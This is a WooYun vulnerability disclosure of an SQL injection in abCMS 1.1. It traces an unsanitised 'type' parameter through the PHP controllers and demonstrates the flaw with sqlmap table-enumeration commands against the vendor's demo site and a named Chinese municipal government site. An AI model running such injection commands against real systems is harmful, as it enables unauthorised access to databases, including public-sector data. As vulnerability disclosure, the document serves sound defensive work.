当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046506

漏洞标题:abCMS 最新1.1版 注射 可导致政府网站沦陷

相关厂商:ABCMS新闻发布系统

漏洞作者: lxj616

提交时间:2013-12-20 10:23

修复时间:2014-03-20 10:23

公开时间:2014-03-20 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:16

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-20: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

abcms 最新1.1版 注射 可导致政府网站沦陷
在某政府网站做演示+官网demo演示+代码分析
由于涉及gov.cn,不知道这样的漏洞应该找厂商还是CNVD
源码分析见详细说明,实例证明见漏洞证明

详细说明:

abcms 1.1
/app/controller/news.php line:218

...
//之前的不用管
if(empty($config))
{
$types = (int)$_GET['type']; //强转整数 无漏洞
//var_dump($type);exit;
$bannertitle = $this->daohang->find("id = {$types}");//无漏洞
//var_dump($bannertitle);exit;
$daohangurl = "./index.php?controller=News&action=listnews&type=$types&fenlei=$fenlei"; //等等,过滤完变量然后GET跳转?


直接去找跳转后的接收代码,即action=listnews&type=$types
/app/controller/default.php line:384

$page = $_GET['page'] ? ($_GET['page']-1)*30 : 0;//page没问题
//查询数据
$listnews = $this->news->findAll("type = $_GET[type]",'id desc',array(30,$page));//type直接带入查询了
//var_dump($listnews);exit;
$type = $this->daohang->findall("id = $_GET[type]",'id desc',1);//之前的过滤全白费了
$bannertitle = $type[0]['name'];


所以,type变量由于过滤错了地方,引发了注射
发现有gov.cn在用这一款CMS,详见漏洞证明

漏洞证明:

先演示官网的

C:\Users\Administrator>sqlmap.py -u "http://www.abcms.net/xinli/index.php?controller=Default&action=read&type=5" -p type --tables


04.PNG


再演示gov.cn的
ldj.jiangmen.gov.cn
广东省江门市人力资源和社会保障局

01.PNG


漏洞URL:
http://ldj.jiangmen.gov.cn/outside/shebk/index.php?action=read&type=22

02.PNG


C:\Users\Administrator>sqlmap.py -u "http://ldj.jiangmen.gov.cn/outside/shebk/index.php?action=read&type=22" -p type --tables


03.PNG


上面的数据库明显是abcms,下面的数据库不知道是什么,好像有好多数据!

修复方案:

过滤type彻底一些吧

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝